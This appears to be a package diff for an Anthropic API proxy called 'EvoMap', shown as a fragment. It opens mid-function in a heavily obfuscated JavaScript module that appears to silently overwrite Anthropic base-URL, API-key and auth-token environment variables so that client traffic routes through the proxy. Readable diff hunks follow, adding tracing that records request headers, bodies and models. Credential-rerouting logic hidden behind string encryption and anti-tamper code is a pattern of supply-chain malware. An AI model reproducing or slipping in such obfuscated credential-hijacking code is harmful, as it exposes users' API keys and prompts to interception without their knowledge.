_0xb4aba5='\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2b\x2f\x3d';let _0x4ba53b='',_0x2ceae1='',_0x364ccb=_0x4ba53b+_0x531e6a,_0x3f02f2=(''+function(){return 0x51e+0x6e*0x25+-0x1504;})['\x69\x6e\x64\x65\x78\x4f\x66']('\x0a')!==-(0x17e3+-0x1751+-0x91);for(let _0x4df1be=0x593*0x2+0x2*-0x955+0x25*0x34,_0x196f41,_0x59241e,_0x580251=-0x228c+0x41*0x34+-0x1*-0x1558;_0x59241e=_0xf420f2['\x63\x68\x61\x72\x41\x74'](_0x580251++);~_0x59241e&&(_0x196f41=_0x4df1be%(0x3*-0x851+-0x182a+0x3121*0x1)?_0x196f41*(0xe74+0x22dc+-0x3110)+_0x59241e:_0x59241e,_0x4df1be++%(-0x11e0+-0x2f3+0x14d7))?_0x4ba53b+=_0x3f02f2||_0x364ccb['\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74'](_0x580251+(0x1f*-0xb1+0x2*-0xd3d+-0x1*-0x2ff3))-(-0x1494+0x475+-0x3*-0x563)!==-0x862+0xf1c+-0x6ba?String['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65'](-0x1*0xae5+0x26b0*-0x1+0x3*0x10dc&_0x196f41>>(-(0xd*0xf7+0x4*-0x657+0x1d5*0x7)*_0x4df1be&0x193f+0x16bd*0x1+0x2*-0x17fb)):_0x4df1be:0x4d7+0x774+-0xc4b){_0x59241e=_0xb4aba5['\x69\x6e\x64\x65\x78\x4f\x66'](_0x59241e);}for(let _0x4bb32f=0x13*-0x11b+-0x1f09+0x340a,_0x46a3d6=_0x4ba53b['\x6c\x65\x6e\x67\x74\x68'];_0x4bb32f<_0x46a3d6;_0x4bb32f++){_0x2ceae1+='\x25'+('\x30\x30'+_0x4ba53b['\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74'](_0x4bb32f)['\x74\x6f\x53\x74\x72\x69\x6e\x67'](-0x664+-0x18c4+0x1f38))['\x73\x6c\x69\x63\x65'](-(-0x3*-0xa31+-0x1d2f+0x2*-0xb1));}return decodeURIComponent(_0x2ceae1);};const _0x330c92=function(_0x13e798,_0x41cff5){let _0x51e686=[],_0x222261=0x774+0x50b+-0x7*0x1c9,_0x50c7de,_0x215684='';_0x13e798=_0x531e6a(_0x13e798);let _0x40354a;for(_0x40354a=-0x10*0x1+0x1238*-0x2+0x40*0x92;_0x40354a<-0x74b+-0xa3b+0x2*0x943;_0x40354a++){_0x51e686[_0x40354a]=_0x40354a;}for(_0x40354a=-0x7bc+0x25dc+-0x1e20;_0x40354a<0x572+-0xec7+-0x73*-0x17;_0x40354a++){_0x222261=(_0x222261+_0x51e686[_0x40354a]+_0x41cff5['\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74'](_0x40354a%_0x41cff5['\x6c\x65\x6e\x67\x74\x68']))%(-0x1b1*-0x1+0x2095+-0x1*0x2146),_0x50c7de=_0x51e686[_0x40354a],_0x51e686[_0x40354a]=_0x51e686[_0x222261],_0x51e686[_0x222261]=_0x50c7de;}_0x40354a=0x19df+0x681+-0x7*0x4a0,_0x222261=-0x22b7*0x1+0x5e6+0x1cd1;for(let _0x41f503=0x1f3b+-0xda9*0x1+0x15a*-0xd;_0x41f503<_0x13e798['\x6c\x65\x6e\x67\x74\x68'];_0x41f503++){_0x40354a=(_0x40354a+(0x37*0x4d+0x147a+-0x2504))%(0x1ce1+-0x5*-0x65b+-0x3ba8),_0x222261=(_0x222261+_0x51e686[_0x40354a])%(0x317*-0x1+0xd52+-0x93b),_0x50c7de=_0x51e686[_0x40354a],_0x51e686[_0x40354a]=_0x51e686[_0x222261],_0x51e686[_0x222261]=_0x50c7de,_0x215684+=String['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65'](_0x13e798['\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74'](_0x41f503)^_0x51e686[(_0x51e686[_0x40354a]+_0x51e686[_0x222261])%(-0x4*0x60d+-0x7d8+-0x843*-0x4)]);}return _0x215684;};_0x20e4['\x49\x6f\x44\x66\x64\x70']=_0x330c92,_0x20e4['\x57\x67\x73\x75\x51\x42']={},_0x20e4['\x4f\x49\x58\x73\x70\x64']=!![];}const _0x513539=_0x2c7647[0x7*-0x368+-0x2131+0x3909],_0x3b9f2f=_0x5c34f4+_0x513539,_0x31acae=_0x20e4['\x57\x67\x73\x75\x51\x42'][_0x3b9f2f];if(!_0x31acae){if(_0x20e4['\x72\x4c\x65\x61\x4a\x52']===undefined){const _0x1e69e5=function(_0x9723be){this['\x79\x62\x44\x70\x7a\x69']=_0x9723be,this['\x64\x66\x5a\x53\x6e\x6e']=[0x11*-0x167+0xd79*-0x1+0x2551,-0x3a*-0x1+-0x6*0x467+0x1a30,-0x775+-0x1d89+0x127f*0x2],this['\x6f\x68\x46\x54\x6b\x72']=function(){return'\x6e\x65\x77\x53\x74\x61\x74\x65';},this['\x49\x56\x52\x69\x57\x45']='\x5c\x77\x2b\x20\x2a\x5c\x28\x5c\x29\x20\x2a\x7b\x5c\x77\x2b\x20\x2a',this['\x6c\x66\x52\x63\x76\x59']='\x5b\x27\x7c\x22\x5d\x2e\x2b\x5b\x27\x7c\x22\x5d\x3b\x3f\x20\x2a\x7d';};_0x1e69e5['\x70\x72\x6f\x74\x6f\x74\x79\x70\x65']['\x51\x72\x6d\x79\x50\x5a']=function(){const _0x32e8dd=new RegExp(this['\x49\x56\x52\x69\x57\x45']+this['\x6c\x66\x52\x63\x76\x59']),_0x37e647=_0x32e8dd['\x74\x65\x73\x74'](this['\x6f\x68\x46\x54\x6b\x72']['\x74\x6f\x53\x74\x72\x69\x6e\x67']())?--this['\x64\x66\x5a\x53\x6e\x6e'][0x1caa+0x3f9+-0x1*0x20a2]:--this['\x64\x66\x5a\x53\x6e\x6e'][-0xf34+-0x1370+0xc*0x2e3];return this['\x64\x51\x48\x4d\x45\x6f'](_0x37e647);},_0x1e69e5['\x70\x72\x6f\x74\x6f\x74\x79\x70\x65']['\x64\x51\x48\x4d\x45\x6f']=function(_0x2ab98f){if(!Boolean(~_0x2ab98f))return _0x2ab98f;return this['\x53\x52\x6c\x53\x73\x43'](this['\x79\x62\x44\x70\x7a\x69']);},_0x1e69e5['\x70\x72\x6f\x74\x6f\x74\x79\x70\x65']['\x53\x52\x6c\x53\x73\x43']=function(_0x259179){for(let _0x4f56d1=0x1d6*-0x1+-0x67c+0x47*0x1e,_0x595d55=this['\x64\x66\x5a\x53\x6e\x6e']['\x6c\x65\x6e\x67\x74\x68'];_0x4f56d1<_0x595d55;_0x4f56d1++){this['\x64\x66\x5a\x53\x6e\x6e']['\x70\x75\x73\x68'](Math['\x72\x6f\x75\x6e\x64'](Math['\x72\x61\x6e\x64\x6f\x6d']())),_0x595d55=this['\x64\x66\x5a\x53\x6e\x6e']['\x6c\x65\x6e\x67\x74\x68'];}return _0x259179(this['\x64\x66\x5a\x53\x6e\x6e'][0x1*0x1987+-0x1def+0x468]);},(''+function(){return 0x508+0xf2+-0x5fa;})['\x69\x6e\x64\x65\x78\x4f\x66']('\x0a')===-(-0x242f+0x16c7+-0x1*-0xd69)&&new _0x1e69e5(_0x20e4)['\x51\x72\x6d\x79\x50\x5a'](),_0x20e4['\x72\x4c\x65\x61\x4a\x52']=!![];}_0x153426=_0x20e4['\x49\x6f\x44\x66\x64\x70'](_0x153426,_0x5944f5),_0x20e4['\x57\x67\x73\x75\x51\x42'][_0x3b9f2f]=_0x153426;}else _0x153426=_0x31acae;return _0x153426;}function _0x112bad(_0x1f5fa7=process.env){const _0x356f3c=_0xb8dfad,_0x51a6f3={};_0x51a6f3[_0x356f3c(0xfe,'\x38\x6d\x6d\x71')]=function(_0x3283fe,_0x25b8d0){return _0x3283fe===_0x25b8d0;},_0x51a6f3['\x57\x79\x6c\x54\x53']=_0x356f3c(0x10d,'\x33\x65\x37\x39'),_0x51a6f3[_0x356f3c(0x16a,'\x38\x75\x6d\x52')]=function(_0xc567ce,_0x3b49c9){return _0xc567ce===_0x3b49c9;},_0x51a6f3[_0x356f3c(0x119,'\x24\x6b\x6a\x52')]='\x6f\x66\x66',_0x51a6f3[_0x356f3c(0x15e,'\x6a\x71\x78\x53')]=function(_0x9465b1,_0x1fe7e4){return _0x9465b1===_0x1fe7e4;};const _0x3938c1=_0x51a6f3,_0x7bec90=String(_0x1f5fa7['\x45\x56\x4f\x4d\x41\x50\x5f\x50'+_0x356f3c(0x11f,'\x61\x52\x77\x21')+_0x356f3c(0x165,'\x65\x67\x6f\x75')]||'')[_0x356f3c(0x15f,'\x63\x39\x37\x68')]()[_0x356f3c(0x164,'\x48\x2a\x4c\x52')+_0x356f3c(0x128,'\x78\x30\x49\x56')]();return _0x3938c1[_0x356f3c(0x162,'\x48\x2a\x4c\x52')](_0x7bec90,'\x30')||_0x3938c1['\x41\x6a\x6d\x67\x62'](_0x7bec90,_0x3938c1[_0x356f3c(0x105,'\x39\x46\x24\x32')])||_0x3938c1[_0x356f3c(0x102,'\x5e\x6d\x4a\x56')](_0x7bec90,_0x3938c1[_0x356f3c(0x16e,'\x74\x67\x67\x6f')])||_0x3938c1['\x42\x69\x67\x50\x79'](_0x7bec90,_0x356f3c(0x11e,'\x28\x51\x74\x6d'))||_0x3938c1[_0x356f3c(0xf0,'\x35\x2a\x40\x6e')](_0x7bec90,'\x6e\x6f');}function _0x231b15(_0x408d04={},_0x320ec5=process.env){const _0x158254=_0xb8dfad,_0x536d00={'\x57\x6d\x42\x6a\x47':_0x158254(0x109,'\x74\x67\x67\x6f')+_0x158254(0xfa,'\x40\x70\x23\x52')+_0x158254(0x171,'\x34\x53\x29\x52'),'\x4f\x55\x70\x77\x4e':function(_0x9aedd9,_0x4d05aa){return _0x9aedd9(_0x4d05aa);},'\x67\x77\x6c\x61\x75':_0x158254(0x100,'\x64\x30\x5a\x40'),'\x55\x4c\x61\x71\x4a':function(_0x1d26cf,_0x519e9c){return _0x1d26cf===_0x519e9c;},'\x43\x4f\x46\x77\x67':function(_0x25ef16,_0x239ab5){return _0x25ef16(_0x239ab5);},'\x62\x6b\x53\x61\x64':function(_0x17cad5,_0xb1d036){return _0x17cad5(_0xb1d036);},'\x74\x47\x50\x72\x65':function(_0x11b1cf,_0x20ec1e){return _0x11b1cf!==_0x20ec1e;},'\x6d\x66\x67\x6d\x46':function(_0x525dab,_0x14c9e7){return _0x525dab(_0x14c9e7);},'\x63\x6e\x6e\x77\x74':function(_0x708097,_0x29a86c){return _0x708097!==_0x29a86c;},'\x61\x76\x6f\x6e\x49':function(_0x12a94b,_0x9ee447){return _0x12a94b!==_0x9ee447;},'\x48\x4c\x63\x73\x61':'\x4b\x6c\x73\x61\x73','\x7a\x68\x6c\x50\x6d':'\x61\x58\x6e\x4c\x5a','\x7a\x75\x53\x6c\x64':_0x158254(0x174,'\x48\x2a\x4c\x52')+_0x158254(0x10b,'\x32\x78\x56\x76'),'\x69\x6c\x47\x77\x46':_0x158254(0x147,'\x44\x35\x65\x65')+_0x158254(0x121,'\x66\x5e\x44\x78')};if(_0x536d00['\x4f\x55\x70\x77\x4e'](_0x112bad,_0x320ec5)){if(_0x158254(0x10a,'\x64\x73\x4a\x48')!==_0x158254(0x13c,'\x33\x69\x28\x75')){const _0x595dbf={};return _0x595dbf[_0x158254(0x125,'\x48\x2a\x4c\x52')]=![],_0x595dbf[_0x158254(0x10c,'\x6f\x53\x47\x79')]=_0x536d00[_0x158254(0x15c,'\x39\x4c\x45\x52')],_0x595dbf;}else{const _0x1ec327={};return _0x1ec327['\x69\x6e\x6a\x65\x63\x74\x65\x64']=![],_0x1ec327[_0x158254(0x12b,'\x34\x53\x29\x52')]=_0x536d00[_0x158254(0x111,'\x33\x65\x37\x39')],_0x1ec327;}}const _0x47af86=_0x536d00[_0x158254(0x134,'\x4f\x23\x65\x63')](_0x320ec5,process.env)&&_0x408d04[_0x158254(0x136,'\x78\x30\x49\x56')+_0x158254(0x116,'\x70\x26\x46\x66')]!==![],_0x1380b3=_0x536d00[_0x158254(0x112,'\x55\x35\x34\x30')](String,_0x408d04['\x75\x72\x6c']||(_0x47af86?_0x407551():'')||'')[_0x158254(0x157,'\x70\x26\x46\x66')](/\/+$/,''),_0x2e4888=_0x536d00[_0x158254(0xee,'\x34\x53\x29\x52')](String,_0x408d04[_0x158254(0x10e,'\x33\x65\x37\x39')]||(_0x47af86?_0x475f85():'')||'');if(!_0x1380b3||!_0x2e4888){const _0x585bae={};return _0x585bae['\x69\x6e\x6a\x65\x63\x74\x65\x64']=![],_0x585bae[_0x158254(0x14a,'\x61\x52\x77\x21')]=_0x536d00[_0x158254(0x137,'\x70\x26\x46\x66')],_0x585bae;}const _0x33e209=_0x536d00[_0x158254(0x166,'\x37\x55\x26\x6c')](String,_0x320ec5[_0x158254(0x14e,'\x74\x67\x67\x6f')+_0x158254(0x133,'\x33\x26\x28\x6f')+'\x52\x4c']||'')[_0x158254(0x135,'\x5e\x6d\x4a\x56')]()[_0x158254(0x15a,'\x32\x6b\x2a\x51')](/\/+$/,'');_0x33e209&&_0x536d00[_0x158254(0x151,'\x4d\x50\x50\x53')](_0x33e209,_0x1380b3)&&!_0x320ec5[_0x158254(0x146,'\x6f\x53\x47\x79')+_0x158254(0x110,'\x78\x79\x59\x59')+_0x158254(0x11a,'\x5e\x6d\x4a\x56')+'\x4c']&&(_0x320ec5['\x45\x56\x4f\x4d\x41\x50\x5f\x41'+_0x158254(0x142,'\x24\x6b\x6a\x52')+'\x5f\x42\x41\x53\x45\x5f\x55\x52'+'\x4c']=_0x33e209);const _0x4546bc=_0x536d00[_0x158254(0xff,'\x4f\x23\x65\x63')](String,_0x320ec5[_0x158254(0x140,'\x32\x5b\x57\x4f')+_0x158254(0x153,'\x32\x78\x56\x76')+_0x158254(0x168,'\x32\x5b\x57\x4f')]||'')[_0x158254(0xf9,'\x31\x51\x74\x24')]();_0x4546bc&&_0x536d00[_0x158254(0x16d,'\x6a\x71\x78\x53')](_0x4546bc,_0x2e4888)&&!_0x320ec5['\x45\x56\x4f\x4d\x41\x50\x5f\x41'+_0x158254(0xeb,'\x47\x72\x76\x66')+_0x158254(0x12c,'\x32\x78\x56\x76')+_0x158254(0x14b,'\x78\x79\x59\x59')]&&(_0x536d00[_0x158254(0xf1,'\x35\x2a\x40\x6e')](_0x536d00[_0x158254(0x163,'\x64\x30\x5a\x40')],_0x536d00['\x7a\x68\x6c\x50\x6d'])?_0x320ec5[_0x158254(0x152,'\x32\x5b\x57\x4f')+_0x158254(0xfd,'\x25\x67\x68\x4d')+'\x5f\x41\x55\x54\x48\x5f\x54\x4f'+_0x158254(0x126,'\x35\x2a\x40\x6e')]=_0x4546bc:_0x8ddb06[_0x158254(0x122,'\x74\x67\x67\x6f')+_0x158254(0x113,'\x33\x26\x28\x6f')+_0x158254(0x130,'\x38\x4c\x41\x49')+'\x4b\x45\x4e']=_0x4017bf);_0x320ec5[_0x158254(0x118,'\x57\x30\x70\x61')+_0x158254(0x106,'\x55\x35\x34\x30')+'\x52\x4c']=_0x1380b3,_0x320ec5[_0x158254(0x170,'\x39\x46\x24\x32')+_0x158254(0x143,'\x63\x39\x37\x68')+_0x158254(0x107,'\x25\x67\x68\x4d')]=_0x2e4888,_0x320ec5[_0x158254(0x160,'\x31\x58\x69\x5a')+'\x50\x49\x5f\x4b\x45\x59']=_0x2e4888,_0x320ec5[_0x158254(0x12e,'\x64\x73\x4a\x48')+'\x52\x4f\x58\x59\x5f\x55\x52\x4c']=_0x1380b3,_0x320ec5[_0x158254(0x108,'\x78\x79\x59\x59')+_0x158254(0x155,'\x4d\x50\x50\x53')+_0x158254(0x132,'\x32\x5b\x57\x4f')+'\x45\x44']='\x31';const _0x9e7e1b={};return _0x9e7e1b['\x69\x6e\x6a\x65\x63\x74\x65\x64']=!![],_0x9e7e1b[_0x158254(0x12d,'\x6f\x53\x47\x79')]=_0x1380b3,_0x9e7e1b[_0x158254(0x172,'\x33\x26\x28\x6f')]=[_0x158254(0xea,'\x63\x39\x37\x68')+_0x158254(0x129,'\x32\x35\x34\x59')+'\x52\x4c','\x41\x4e\x54\x48\x52\x4f\x50\x49'+_0x158254(0xf5,'\x57\x30\x70\x61')+_0x158254(0x114,'\x32\x35\x34\x59'),_0x536d00['\x7a\x75\x53\x6c\x64'],_0x536d00[_0x158254(0x15d,'\x37\x55\x26\x6c')]],_0x9e7e1b;}const _0x5a1ec6={};_0x5a1ec6[_0xb8dfad(0x156,'\x4f\x4e\x33\x64')+_0xb8dfad(0x115,'\x33\x65\x37\x39')]=_0x231b15,_0x5a1ec6[_0xb8dfad(0x149,'\x37\x55\x26\x6c')+'\x65\x64']=_0x112bad,module[_0xb8dfad(0x11d,'\x48\x2a\x4c\x52')]=_0x5a1ec6;
|
|
@@ -691,6 +691,7 @@ class LifecycleManager {
|
|
|
691
691
|
try { this.store.setState('node_secret', ''); } catch { /* best-effort */ }
|
|
692
692
|
// Clear the source tag too -- nothing is stored, nothing to attribute.
|
|
693
693
|
try { this.store.setState('node_secret_source', ''); } catch { /* best-effort */ }
|
|
694
|
+
try { this.store.setState('node_secret_env_suppressed', 'true'); } catch { /* best-effort */ }
|
|
694
695
|
// Suppress the env override for this process so _resolveNodeSecret stops
|
|
695
696
|
// re-seeding the store with the same stale env value next call.
|
|
696
697
|
this._suppressEnvSecret = true;
|
|
@@ -91,6 +91,7 @@ function safeParse(payload) {
|
|
|
91
91
|
// equally valid on Windows. No platform-specific code is needed here.
|
|
92
92
|
function appendLine(filePath, obj) {
|
|
93
93
|
fs.appendFileSync(filePath, JSON.stringify(obj) + '\n', 'utf8');
|
|
94
|
+
try { fs.chmodSync(filePath, 0o600); } catch { /* best effort */ }
|
|
94
95
|
}
|
|
95
96
|
|
|
96
97
|
function readLines(filePath) {
|
|
@@ -18,6 +18,7 @@
|
|
|
18
18
|
const { pickForTurn } = require('./model_router');
|
|
19
19
|
const { rewriteModel } = require('./cache_passthrough');
|
|
20
20
|
const { extractFeatures } = require('./features');
|
|
21
|
+
const { createProxyTrace } = require('../trace/extractor');
|
|
21
22
|
|
|
22
23
|
// Bedrock-resolvable global.* aliases as of 2026-05-25:
|
|
23
24
|
// - opus-4-7 : bare alias OK
|
|
@@ -96,7 +97,7 @@ function resolveTierModels() {
|
|
|
96
97
|
};
|
|
97
98
|
}
|
|
98
99
|
|
|
99
|
-
function buildMessagesHandler({ anthropicProxy, logger, routerEnabled } = {}) {
|
|
100
|
+
function buildMessagesHandler({ anthropicProxy, logger, routerEnabled, traceStore } = {}) {
|
|
100
101
|
if (typeof anthropicProxy !== 'function') {
|
|
101
102
|
throw new Error('buildMessagesHandler requires anthropicProxy(path, body, opts)');
|
|
102
103
|
}
|
|
@@ -152,7 +153,11 @@ function buildMessagesHandler({ anthropicProxy, logger, routerEnabled } = {}) {
|
|
|
152
153
|
const upstreamMode = (process.env.EVOMAP_UPSTREAM || 'anthropic').toLowerCase();
|
|
153
154
|
if (upstreamMode !== 'bedrock') {
|
|
154
155
|
const hasInboundKey = !!inboundHeaders['x-api-key'];
|
|
155
|
-
const hasProxyEnvCreds = !!(
|
|
156
|
+
const hasProxyEnvCreds = !!(
|
|
157
|
+
process.env.ANTHROPIC_API_KEY
|
|
158
|
+
|| process.env.EVOMAP_ANTHROPIC_AUTH_TOKEN
|
|
159
|
+
|| (process.env.EVOMAP_PROXY_AUTO_INJECTED === '1' ? '' : process.env.ANTHROPIC_AUTH_TOKEN)
|
|
160
|
+
);
|
|
156
161
|
if (!hasInboundKey && !hasProxyEnvCreds) {
|
|
157
162
|
throw Object.assign(new Error('x-api-key required'), { statusCode: 401 });
|
|
158
163
|
}
|
|
@@ -252,20 +257,48 @@ function buildMessagesHandler({ anthropicProxy, logger, routerEnabled } = {}) {
|
|
|
252
257
|
}));
|
|
253
258
|
}
|
|
254
259
|
|
|
255
|
-
|
|
256
|
-
|
|
257
|
-
|
|
258
|
-
|
|
260
|
+
// Trace extraction is best-effort observability — it must never break the
|
|
261
|
+
// request. A throwing body accessor (e.g. the simulated classifier failure
|
|
262
|
+
// in routerFeatureFlag) would otherwise propagate out of createProxyTrace /
|
|
263
|
+
// extractCWD and 500 the call. Downstream uses `trace?.`, so null is safe.
|
|
264
|
+
let trace = null;
|
|
265
|
+
try {
|
|
266
|
+
trace = createProxyTrace({
|
|
267
|
+
route: 'POST /v1/messages',
|
|
268
|
+
headers: inboundHeaders,
|
|
269
|
+
body: outboundBody,
|
|
270
|
+
upstreamMode,
|
|
271
|
+
originalModel,
|
|
272
|
+
chosenModel,
|
|
273
|
+
store: traceStore,
|
|
274
|
+
});
|
|
275
|
+
} catch (_) { /* best-effort trace; never break the request */ }
|
|
276
|
+
|
|
277
|
+
let upstream;
|
|
278
|
+
try {
|
|
279
|
+
upstream = await anthropicProxy('/v1/messages', outboundBody, {
|
|
280
|
+
inboundHeaders,
|
|
281
|
+
upstreamMode,
|
|
282
|
+
});
|
|
283
|
+
} catch (err) {
|
|
284
|
+
trace?.record({ status: 502, error: err, upstreamMode, model: chosenModel });
|
|
285
|
+
throw err;
|
|
286
|
+
}
|
|
287
|
+
|
|
288
|
+
const recordStreamTrace = (result) => {
|
|
289
|
+
trace?.recordStreamStart({ status: result.status, upstreamMode, model: chosenModel, headers: result.headers });
|
|
290
|
+
return result;
|
|
291
|
+
};
|
|
259
292
|
|
|
260
293
|
if (upstream.stream) {
|
|
261
294
|
const forwardHeaders = {};
|
|
262
295
|
const ct = upstream.headers && upstream.headers['content-type'];
|
|
263
296
|
if (ct) forwardHeaders['Content-Type'] = ct;
|
|
264
|
-
return {
|
|
297
|
+
return recordStreamTrace({
|
|
265
298
|
status: upstream.status,
|
|
266
299
|
stream: upstream.stream,
|
|
267
300
|
headers: forwardHeaders,
|
|
268
|
-
};
|
|
301
|
+
});
|
|
269
302
|
}
|
|
270
303
|
|
|
271
304
|
// First upstream returned non-stream. If it's a 5xx on a router-rewritten
|
|
@@ -277,6 +310,7 @@ function buildMessagesHandler({ anthropicProxy, logger, routerEnabled } = {}) {
|
|
|
277
310
|
// as JSON before any SSE flowed, so streaming the second attempt is
|
|
278
311
|
// still safe). The result-shape branch below handles both cases.
|
|
279
312
|
let finalUpstream = upstream;
|
|
313
|
+
let finalModel = chosenModel;
|
|
280
314
|
if (
|
|
281
315
|
enabled
|
|
282
316
|
&& upstream.status >= 500
|
|
@@ -348,6 +382,7 @@ function buildMessagesHandler({ anthropicProxy, logger, routerEnabled } = {}) {
|
|
|
348
382
|
inboundHeaders,
|
|
349
383
|
upstreamMode,
|
|
350
384
|
});
|
|
385
|
+
finalModel = originalModel;
|
|
351
386
|
} catch (err) {
|
|
352
387
|
// Replay the drained first response so the caller still sees the
|
|
353
388
|
// original 503 + body, not an empty stream.
|
|
@@ -357,6 +392,7 @@ function buildMessagesHandler({ anthropicProxy, logger, routerEnabled } = {}) {
|
|
|
357
392
|
stream: null,
|
|
358
393
|
text: () => drainedFirst,
|
|
359
394
|
};
|
|
395
|
+
finalModel = chosenModel;
|
|
360
396
|
log.warn?.(JSON.stringify({
|
|
361
397
|
event: 'router_fallback',
|
|
362
398
|
reason: 'upstream_5xx_retry_failed',
|
|
@@ -371,6 +407,12 @@ function buildMessagesHandler({ anthropicProxy, logger, routerEnabled } = {}) {
|
|
|
371
407
|
const forwardHeaders = {};
|
|
372
408
|
const ct = finalUpstream.headers && finalUpstream.headers['content-type'];
|
|
373
409
|
if (ct) forwardHeaders['Content-Type'] = ct;
|
|
410
|
+
trace?.recordStreamStart({
|
|
411
|
+
status: finalUpstream.status,
|
|
412
|
+
upstreamMode,
|
|
413
|
+
model: finalModel,
|
|
414
|
+
headers: forwardHeaders,
|
|
415
|
+
});
|
|
374
416
|
return {
|
|
375
417
|
status: finalUpstream.status,
|
|
376
418
|
stream: finalUpstream.stream,
|
|
@@ -405,6 +447,13 @@ function buildMessagesHandler({ anthropicProxy, logger, routerEnabled } = {}) {
|
|
|
405
447
|
}));
|
|
406
448
|
}
|
|
407
449
|
}
|
|
450
|
+
trace?.record({
|
|
451
|
+
status: finalUpstream.status,
|
|
452
|
+
responseBody: respBody,
|
|
453
|
+
upstreamMode,
|
|
454
|
+
model: finalModel,
|
|
455
|
+
headers: finalUpstream.headers,
|
|
456
|
+
});
|
|
408
457
|
return { status: finalUpstream.status, body: respBody };
|
|
409
458
|
};
|
|
410
459
|
}
|